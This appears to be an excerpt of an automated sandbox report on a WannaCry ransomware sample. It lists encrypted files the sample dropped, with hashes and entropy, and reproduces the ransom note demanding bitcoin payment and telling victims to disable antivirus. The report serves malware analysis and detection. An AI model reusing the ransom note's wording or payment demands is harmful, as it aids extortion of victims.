                                                                                                                        Preview:WANACRY!......-8D.....(1...6+..$...!O"..h.1..]....J....jbp.k..:.R.@...V..M..4!z$.b?.BU.@!..o....).}..}.....i.I....kX..75Q.C.[py...P....v~:...mO..........,f..l.A?..k....K....N..4..V...y.B....m.M.H..@......#.{...!.Vg...%.*..uf.y....R@...f......<26..3...............Y..q....9?%E_.U#..;r.2r.&........!..r,....FMV.8.e.j..=G0e.....{C@......(.....3Y..s.....sD;...x..U7.O..b..aH..5...;.Ka'.q..K.zyxOZ...\..s..w.>....y9.lN.7.u........Z.A.R....Q...s...J~5.<. 6b....".vG.1..:...=........#..2t....s0/S.]>.R|..K.).'.5...B.P.x.$...-..3...I.......%....N).../.`][...m...........'..[g....C....!.....ep..E..$..._..-..l...by*..k........,....$......B.....B`2.%....c....-@?o.....\...[.M./.....J....K.=.!(?.'........|.......`.c7....A....t.n...6V...r.(.W.T"b..\...X...pP.p.#k.... d-E..:L?...F.%.7.._..^s.....tm....6..F7AZ%3..............z_#.+A.N.!%0{...(..5...>..5.i....^3,......-..\w.....#......2mXhu...{T".....6SB..2....E..-.BMG0,i.:...b].'.e9'..o $c.y.&...f.3=A.?yz.

                                                                                                                        C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392321679645.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.998455340143691
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:MSkQ6kZDptZkTpTwOdQ/bCAmE/vHKrkIn+8uScxxY6:MSkrg2VTwHfhHT4+8uScxxY6
                                                                                                                        MD5:6819C3459735FA1FF86DC230320DE159
                                                                                                                        SHA1:45DB151A2114108FA1D53F0501D97FCBE64307D8
                                                                                                                        SHA-256:17E89535AB02F3408D361DCAF0104C074488F9F72FB3947EE1733040D64F39BB
                                                                                                                        SHA-512:D02666007EC67CDE6883D57DE772D37D9133ECCD21A72BAADEE3BCCB10CD06FCF968966F711DA09381EEB3D1D990495D34A6C920DBA35904E014149951EBA7B6
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......~}k...B.czS......ho..>[.._....@.U..F............k..[..4.U...u.l.i'9.:......W.[f.v.U&.....JG.a1m..Kph........J..P[....-..>..]._...~..r........A..-......&....b..U.)..E..gqh....G^A.+=..q..............ht....QX?E...D..?m.<.(O.yR.=..I.......C.~.@g.....<.......Y..L0.Z...a..p?d;M..R..q-0g3..t.P.+..|ow0./..+...l4.*.L...[4.T7oX.;..t6#T..p.*..(D.=F^"}.9|.}c.9>..=..sb..B..^Sr.x..1.6...fY^c..>n\.....6g.M.$...^....Rh.......X.Ef3.T..;.B.O..+Y....c*.~....H...2s..2.l`..3.\..K..n ...K.2...y.... s..C..N.=.p.......'S..x...M..}<....I...&.Q2.."....@5P[V.E2=......p......J......{Y...K.:...#..~.N2....SB2...5h`......5)m.c.[...Bq..5.+...q.....?Z..]y....o.Q.........;....Q.9.[.#\}....LM....=.aU:a.M4..p.......)....V..i0....].]...x8.._..;.@;T...*.=IP.....D.....>.....Q...Sb.]Z.D...C..9hs..^.....1@^.Z.V.m..b.l.S...........w.....!....F<.*..9.+..:.p...#.'...08...y...5.L......d.K..u.g..^..b..&.p."..#...../.@.E....3<..7......e...O3..........>U.sY....m.W.iF.......j

                                                                                                                        C:\ProgramData\Intel\GCC\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Intel\GCC\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Intel\GCC\IGCCSvc.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):20760
                                                                                                                        Entropy (8bit):7.989995343286665
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:675hbKQL/XDMUgOjTe10LEko3TFWJmQuuKoF9S0tW54TrJvBQ2di5C8XlISmI0S:67bKQboUguS1Ca3TkJmQuI9N854T1vN0
                                                                                                                        MD5:6990A2EE05F30D483EF36DA6AB05CE57
                                                                                                                        SHA1:37D438976ED9F1D02A1136601E1566D19A6AC1EF
                                                                                                                        SHA-256:46DB559FDAC113CCABC55924BB6102DBB87E43563EADB677AA1F43A3CD1620DB
                                                                                                                        SHA-512:056847284EACAC086195771F6A45F1B1FBC6D338206DE5B551E05343BF9A6AA2A19A00502675FFC458BAD89779DF6236A8EDA4334AAC169643A64BFD9E055F1D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....x.dnR..qn...gMi.2..1..SB.!.V........5+.(.\...ps.Y.L....y.Cj..-....ncb..w.y.......7f...6.m...a...t...Ua04.#L7U....e..\.)..b.^...]..=;.ut.I....+f.*sV...........X.0.Aq.e.d.F..k.!..`o.rD.7..V7.1.sV..f.....6.).;....o.C.......W....5.ba.a.w>.(g.....9.R..^.....P............0.7.".h3.......SJ...d...@o.*.u86\...K0...(G...c~..6...7.+N5...|..S..A....v...u@d..V...Q. .. yNd...>...p.v....F..!.$:.P%....i:-.#F..p....../x...).m.."%j..7s;.br.........kk._.A...n.j..2-Q^.mA...r~(.......>].....g,Vi..)z...].A.....g......1....u.J].~....X0.P..T.......E.F.c*..{.j..A<.....9H..m..@ ...K;;.6...r.%.........f......(`....B...x]F...'..Fj...mnGx...B4.p7....!..^.al<&.._........e..7.9@+.."p..o..B*...,....D...a.....HL2...x..e.(...(..@..OZ..B.V.JS.'.|c:x...)D.!...6..[.)..u..0.V.U.8.....Voik.V...>a.E..(`..A.6..r...;.#....(...!.#.b..}.P..o...YP^E....A.O.7.H-995.m.{..d]Z.2O....*OR.W..|...5.~.Tis.\.n....B.#T... .M.....M........BS@D..G...X.\.OJU.@4rFL.U.....DQ...h...k'

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-03.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1368
                                                                                                                        Entropy (8bit):7.847358906044045
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkS0+9xpqoTcCe1T0lTWp7hmxXuoMHPWexkP02Xe0uwfxu7BIMJ3Hia5tcDS2r3O:bk2fICeh0TWnsuookM2X2qu7BIG3ES2C
                                                                                                                        MD5:343C23117983306D06221AC24A60313A
                                                                                                                        SHA1:5396B658FCF1F897C12F502C6B74C613A136EBB0
                                                                                                                        SHA-256:D6BF627D1F219BD527364610D1DBFC5F6958522D86FF77D5D334B8AB9D03D68C
                                                                                                                        SHA-512:DAC3299338CDE95C8AF4559E3ED8921BA2392667DB8997D0FF88CD410007AE002010C3A867370C586EDBAB86E55F1DE386CB234A0FF761F2D9B4AF2B2E2525DD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....%$m|55.B...^..a."..y.A_.j....Y|.M..3._.........)tj(..q..l.,..{.DGy......F?...r.Z.W7@.@\.&W_J7.3...v]..>..3]..h...0.E..`.A.......&;.f`<.-)..le.P.......T=\.ZY.../.....y.V..AS..i.....d......#]M...6Ik...~Z..).5.....f...J...bz.q..p.^..Kd...P.z.J..9S.k....=.......|.[....hZ.w.]..2..b.F.....t..F[.@ZKPL.{.#..I.U..&......9../#h...$\-.\!.......G..p..u?I..h.S..%..U....[F3~#q.8b.......#)....U.)\.i.iK.)...h...b.7ME..LZ....\..Q.].......h.n,...@O..+.,p.]T.[.(EC:...;..1......d..CL..r....Y9<..9....-.....b..C...P..c.PW..(.%G)...JN9..CV.aUM....[.v..O..<..$I.....ep!.].D)#..#..k3.:G.Q.J~............d.jz.e..2...eSo....45e....:0....4c...7......`...E........y..Lo...M....e.>U6..4.Cf...`..T1.#...8..%.U.k..@.*I.....N...h.c......8...*n.G.=;.v......;.......'^S...%\+t......r.d....MR.Q.Y..kf.h'.K...k..N(|........I.zr..j"d:..Z........B.J....A....:.e%eu%+g.....~.1..EX8..]...)}.q.jw.~...'[+.N."...b....\*$....nV3.q.59'$.........R....K.o~.I.Z..l....G..4..g..w.J.=^V...1..

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-14.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5096
                                                                                                                        Entropy (8bit):7.963612847015317
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oOfTkU60k+aodXilAXwDeeM9cLD44b45WQjOOigwgrcVUsQ9I:VfTkUpdYOkjDYZjOOq8cV/F
                                                                                                                        MD5:101E0708A2BF2CB415E0CECA95F8AB9F
                                                                                                                        SHA1:3CD74F001F6B4CEEB0010DE7C5FC4E3BC7D00274
                                                                                                                        SHA-256:5C2CF9AE89C92D5F110A24A18368844A88CFFF3C2F63783BE20894169BA35023
                                                                                                                        SHA-512:9CAC0B8E67B21158556063DD1B79BFD653AFCF32FD641F296D73EFB95F6ACDB46690AF6C5287464286F57F3889634E77833886F1A539902866642669C38B627D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......#...o%.....DN..,..r.l3.?.V}..a..m..@.N.@..D..X..'....zA.v..:T..G........e....t..,@..(m"./.k..lU...+..y.....W.p...'Nb..JRs`y./....;....shg......;.47..K~E:.w..v...'..i'..N.w.:2.Q@.X^...=Q#..u ./x.j.?.o.r......U..I.q{.....|.z.D..iB.)..O_.....?................p.hdrl..+......n.....~{..d......S&M.%...Z.O..J...'.i...)V...-_&..H.c...M..n..6Zd...!#....g>...`.N...TF...b......ej....E}E_...AQVu.1...}......".a..K_*..g..y.K.....@j.\.....t../.O,.*.6_..v.i........Xt...<8........p._s7._..f.....z...:...S.."....!1m[J_'.......xX.ws....#....-..T.."..&;....9.+yW...9......L.8........>7.!P...O..t.9..k...;...@.95..X.(.=.........P3...ewPUL1....W..Y*..]p....^xG5q^.^..3....s.^W...|x.%..A.h:....fBO..U...e..z...{.........6i.l.y,..Q%UP......+xJnH.....Bq..hHBNl.J.g.J.7..>...K.w....=.i......../M.g.DthS=u...#.nFk...|6....Q!.S]9.eb...=/d.n*G...n.H..;..T...K..L1{..f.'8.:8.2 C..........}.IN...9.................G.A.?.JA..;.......c.l$9.....3...|>..G.e...y."...

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-22.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5096
                                                                                                                        Entropy (8bit):7.959204293646452
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o6Wkpnw4nGLSDM+3R3W101k5tdGm44bUkE5ON+jgdZryeTwpa:4mKShG14kYqR
                                                                                                                        MD5:14332D459BF09B2ECBE00B20CCFA0085
                                                                                                                        SHA1:E4E66617614789D3B75D1052D3CA5DF769AE0DAC
                                                                                                                        SHA-256:5B744213E1DAA78DB006591A1D8BD6486C38B9935ABAB621BE9CB36F68D10992
                                                                                                                        SHA-512:B57C1A7523188E14EE5BFAB592DC701C5FBC5F423F35044C5D98308091533E4A8A7A63C760DD513C9B87EB73D420029C09AE4CD7C3352218CE2FED9D79395903
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....fV...I...)..8qEN.n.8W..Yg..TTp7.b.A7...?K..Z.?.Ko....=.|dND..6r/.... `..%......w..J.U.p.9.:i......P......n L...N...r...d....Cp..o...^..Eby..u."T..A:<%#...5....#/f.".....E..Gv8.......S...H%90t-J..y........x&...n..e.yp....n...RlIq.H.66w.....C.............Q(..2n.D.fw.:......G....[...-Dx...UL.O.RKr...>....Nmf.$m),9.'.F.)N..I...H....S.+.>...|..#.*..s.......y..n........r.H.h.=.....Q.?+.....%8..%..aC.K.,...@..4x%.[b.WB..~a.._) .?..x..k.[..."zU........x..yn.LIy~i......7.`.(.5y....~.`.-...>...............p.D.I....#P.:e;...>ai..g.?...[..>.R..GE.....%...T.l.`.t....].....<~a...o3S...:.:....ynJC.....C...:..._..=5g;.l9.f)...V9o,cywo_.}..........:...1...Y....*\.~~...........+..0xd.fh.$|0_ ...v..."...h......DX.P.T....mG$...H5#d^[:..n.....GB|k.Y........w.x........TpyXjt-..*...".aC...a.G...k.[.P..{P..x..N6/."k.q4..A!....8~....C.....gI.fvVR9d1k...K..o8f..8...].......IT.~g..f.....`.Z..yS.........rW.)....<....'c%ba..lY..\.4i...f.S........?.B.

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2021-09-30.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1032
                                                                                                                        Entropy (8bit):7.813619668787337
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkznNsseNhQYfU9Lc+Qz0wdPQqbOG3eCivJjL9UYbq3BU:bkzy3d0ZqbhenBmIv
                                                                                                                        MD5:7A2E58809A5A3CE4F299AB22F46982F5
                                                                                                                        SHA1:4AFC4BEB63211AA07CC4F29953EE72231E85A4EA
                                                                                                                        SHA-256:4341897843906457C31E6AEF5E9D72C8CFAEA2A8C640E29FF59C1BB3020D7AAC
                                                                                                                        SHA-512:00CB5E1601114C93B4E5C32ECAFA966712A497A0B8915A1BA7693E22840D8A79A0509466DCBBC7FFCFAD77AE2B9D0012067C75638E6EC865A16E06ADF9948629
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....%.5..it{/..x.. .E$R....=..wO.tVP.b...E.=......H"I....w.x.$Ih.*.F..DZh..."...3L^.......J....u7+|......XrR&z.....a.z...j.T.2.a...ek...;@.[b.,%nuS.....v;p...*<.3.h+qx+{a..=.~.I..#.8./...0.8....}.......L-..4l...[iB&.d.<).v...........S.WW.;"..k/...=[...A...............!XG.'.1..B.9.'. ..;....ii...Y9<.q.........J.{......|....O$q..Y....Q.......6.:|..2...6....v'.....6..L.;:^..].|I. ...@.+. ".>.e."..9....!&l...a..o U.=%...*G...U.c.T1..@#.g&.H.+.TJ..J.`..%o..l:U...y..`Uy..La..[...u#.N...i...,Kn...h..:..<......r..%..i..dYj.3.O.F...N....+..:..a.....PX.8.....#.G,.v.....>`....*.p..0w."g.!...K....p...../.eDD.a...f........wi..u...Og}.~._.G%.........b_.R.E~.._..2.e...:.Z.._.....9...n.._..N.Z.........O..mD.-...m...H5|.k.l..".e.gF...qU"..~0{.?...Q.5e..;.[.............C........W..1.!.>..5.6..n..:.|.Os......nkH.V.`.X..+N.hw...R=d. '. h.t......;.T..B.A.~.#O.....H..?1....[.j.T......H...x\f..`:......Gv.ao..\....T.#..VC.B.._.vZ..g..2\.C..(A..{.qi.;..

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2022-01-20.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1112
                                                                                                                        Entropy (8bit):7.804000887541957
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkuJrhtRLisCVgrc2KXrkB8P3RtNMNLMG63fwL6IVaUaL6al/80:bkYJaCtKPpvwWIVA6a20
                                                                                                                        MD5:B6B5AB01B6B05753AA19E8F8A49EED36
                                                                                                                        SHA1:6837B2E5527F8042F5A7B0C65D40D506B75C97C6
                                                                                                                        SHA-256:39BBEDEA4A7F0164044CDA701B7D9196E4286F38E26D5FC1DD7CAFA472A38F2C
                                                                                                                        SHA-512:2332AF0A58750799969AD118E93CFC6D80D06C257C9422CDFDEC2C5C1BC04868BF09EC8793DB4DB58108BE9711F14D69D7D33F00A2A8BC560B03513FE5D02146
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....F.h...l0.6.f .u..n\.(..xw....^,.c .....)...L#6.N...+..)...n=m...R.5.........o.`.^k#...>l..9.:Z..(....*.n..Z.....P....-1..`H....P..d..M.<.:..0...'y..-......!..7e_...<Y2.....E.yb.L..}.C.5..)12...C....'..mZ..;j.h.........u.!.........S.Bpj......}.!.l....>...........{..i....$"4..(&4..w.w......oL...m....i.......Kv/H.F.........$c......O:.P..FAg.....gL.m...|.d...%U..SH@.g.yV..'.....(...>w....!./;..N.:.\.E..E$p1..9......}...r4;2..&...../.*...E............x.'.....7k......K...b.D...h"1.F"..4...[...N..o.!.j.8...#..7....nV..,D...|.3 .t.nUn..#.a.!..!P..>I..e~^/2..2D..G.....R.s.....X..v..LD.K.&+...AcI4...M[...,<....e8C...o..fl:K....o...`Q....fw..+.z.Q.......'.1...@......IC?.R.<.......h..a.1..9Z.x.ME........d..32........q..9.Bi.[(....p`.Z+.8....e..t.Zi.....u..A z../....+......^).3,-.d..^qX..........5.2...$T(G..L`h.0%.N/...1.4..ob..h{.;1l...c-yB...E.......0......2.N..R....Jx7a...Q..*.0...A..).V....5........q.....|jo....dK.1.d?...K..#..K.2C.&h.&.2.

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2022-02-23.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1768
                                                                                                                        Entropy (8bit):7.889260485482098
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkH8CxxgS7/p5IfpYzl1Oo7kDke36LkzG1vgc4GFQ:odopC3s9qbvVQ
                                                                                                                        MD5:BB801FC7A2B67521813482CE8E8E69DD
                                                                                                                        SHA1:084DA94FA6DD42B3E85E04C6D26EB4196ECEFC10
                                                                                                                        SHA-256:ECA427F66B90D973E58D23A628ABC6028C9D10768358C438BB6C8C578AD8D7F4
                                                                                                                        SHA-512:208C2EC50A77421E2D4124FCE9FF9DF39BE7204203BA490C8A234F1CAB8D87162D7540F232CA02D239825C56A0D1E8BC6617924EC4BE107F63166F30B34CFCAD
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......,l[....I.#j.?.......e.j..L.._..^.kO"h{f....q....wi.?..w.-.D..[.........H.Y...-,`*P.C..tGz.@. ......hF.a...~E...|$x..P....Y...K.{E....H...B0.a.z......m..S..Jh..7....aCkd...NJpt..h....i.]...<T..P.N.z..E..2Gyo-?'J2;....B..R29...N.c...SL^!U(.g%............e}....?.V@1A?...xpd...~...I.{..l...E.]..>.S.-.,...hr..7...lAW.....p.......Q..P......t......f......P..|..$.Q8A.>h.3.<..".]A..qb.h......@.*..%K......E.nJ..)Ge...I...[..k...0...Zc-Z.F..K..;a.1.....tD ..q9j]...&|.\E.0..ie.B-Y'*&fi.^....us.~..H...5..TL..F.i.!L.L..,..`^yH..8...j~.{uy..c..Q...r......v....;3!..`....+.#.+^....R....-..1....[.i....&'.m..dC6.....[Id.P{;k..<....k..b5......4..pI0.)!.'6#...+..Ym.'..N-.....LzF!......../q~......i........R-v.k?9.%...]l5.4......M./._... ..(>.mOn..hK.Q./....&.W.e..6......?..)L~Yf..A.c...._7....k...<T|~aJ...~..I.R.n..m......Q.......V+..S...p..}%y.........g\..v ..B........Ni......6..X..I.qb.....|G*C.....)...``....k...O.P.N...X.....xdcd|. .C.s........(.[.

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2023-05-25.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.898736804131532
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkgkcaO5PMNK+U7Hp0PFVvOXz4+ZH2ib44GP4Qc3O:ogxNF+U7HWVWj4OHb44q4Qc3O
                                                                                                                        MD5:7239C7B9FF1773DE0CAED24A360ADDAD
                                                                                                                        SHA1:48B8B527C3107070A30C2DA544692CDB5A504C86
                                                                                                                        SHA-256:F9B67324DBC594148074A6A71B16F6C5CB0AC6B39FAF0F14BC3844CFA85444B8
                                                                                                                        SHA-512:5DCA4890B2D9A27A85CD8A29D78C50E8EAF8E5D09C53A5EEEAC0F0AF17CFB36FF3DC85E08E75A6AAE61828DF72999D23E4D1511C02108CA64355FABCA0A4851A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....yb..l...'$.P5..-...\.IV+X...........B..Q..o(.Z.9....t.h..W...O..nP.1.........Pa...j'.....k........6..k........b.*.....K..x=.......q...d.{..%..........q..m..|g...........-4...{^.I..!.V....B........ *,r......A...i....*K.}...<.-.j.O...f..q..........#.......,...\.eS|$.f...b....4xh.@.!>7p+h..q~.z....~.9.x..e..N.\.....E..*.....3.c..`.%....Lw..0....$F. ......1.M>'...7_.Q.@&.c.j'O\.Ns...0...WMs...8gm.R.......K...?)FK@....9.`._.$........'.u...3..%.{.it._...MJgvc....'{.!..SJ..u9.......j.9.....v.<Fs..a&p.P"zw....c.A...5..%..<l.....b.0I.r..rw..#H......B..U|..pFl...^.(.s.....E.....Zq..v.6{Ng.>..l...9o..s..e'.d}..f\Jp.s..R...a../.;?..D....g.....=..i..m.....|S.V.B..<p..4b]...G+C.k...q.....bs..l.V............S....Os.ll....]. .q.{...o..9~.e...(..1...}...{_.....d.V..(.......w.....=..4......&.L?..|..t..n...7.A6...rx......l.p..'..4K[...y.H5.....5....5O...8...?...U.y.?...V......Q5!V.@_06.Ks.>~...6..d1.:....Z...s.......>.-..Y....8.wi.?".....M..yY..J..:m.

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2023-05-26.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5912
                                                                                                                        Entropy (8bit):7.971614867126869
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oGe49CpS+ilfwnAVqFgsum3YT5nzcte+92gCH67E2xJx1rTR3lBlMCIlPFYku/6l:H9q8qzgsum3YT5zu2gdb1XvB3IlP3+/G
                                                                                                                        MD5:71B993A189B7470D54E890FC80D690A3
                                                                                                                        SHA1:EFA01C679BAB41175215A9618E3C0667BC3CED91
                                                                                                                        SHA-256:58AE583E791D94E4FD4D1FB22016659833107A50495F6EC78AD86492945FE0DC
                                                                                                                        SHA-512:F80AC42C59F5B86484811B50B366A6E81375E313D11E89DD42E42201CD63A612CDEBAA95B0405ED283CE46AE292475BD0CCA943E5D34DAC75140C7CF478787C4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........D......l...m.3k..\.H..`V..A..*...ml.4..\)..fI.\....kv..I...."9=...".......V[..Th......!.ch...z..V.....RL..^0..&\..^........X.......;t"..(*1Z.`.....G}V>w~?...M5]....2./](.f.i..|.j./ `1)......[o..^.f.:. .r.6G...{.......d.H!/.m|!.h)...............kz$d`(Ov.q.a..<.m.x...$..Y...U.m.!!..jrl.R.....H........U.da!.,[...@.....R+g.t5l.O!.......y6.1M.@.....s.\...H..a5.}... i.S.e.`P....+..w5....-._.kSix.....:.b..4:.(d..%n^t^.k...!.}9N..o.."?.....s/0.....7..E.{%p%\..].{Mz..z.L......L..0..A5.R..T/.v...C.....P..0..O...v..U~)..[..^......\..|X..W...C.......)oE}.-]i........O..D.N...H..y..P.O.....l.sv.<.......C...C..*w..h.6.n._|.7.w...a./..#..:..g.0...[..}.}_5M.,k.?.FS... n.O.@..0T7.3.....sF)......H.l>._F.3...5ut.^....^{..F.J...r.?Yd. .<....Z.Q9....;.......E-.....$}.#..-..|..# `...N.....[[.>.=...G....]..?..<...q.E.wjg73.`M..drq.P0..x..g.R.W.leJqSF.Te.......9=$.H.T....s.!kU..a.......d@)..>$wB%.SD......e.L..~...Df..V....ggko.0.Y.

                                                                                                                        C:\ProgramData\Intel\GCC\gcc_svc_log_2023-05-30.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1032
                                                                                                                        Entropy (8bit):7.804602263278087
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk4w1/ko9dZc4QWPSVHi38ikuOLGbCu0JOB:bkzko3iBH4CoChOB
                                                                                                                        MD5:1019540DF7543A6A4F360E16B19699C8
                                                                                                                        SHA1:3A6AFEDD2B92AFBC8ADC4CD1DA95650713ABEDE7
                                                                                                                        SHA-256:405E89B2FF8F00CB961B8C2266628C7321EBC8EE7DE5EAA0FCA29B423F7F6017
                                                                                                                        SHA-512:47D6606B698913F8D80BDC921CFBA53EE3F63D0204E338C03DE970A8C21F5AD45908F34DCF20A303B2DBAB2E286EF617B3952A5D9395D09B2854B2735AC2267F
                                                                                                                        Malicious:false
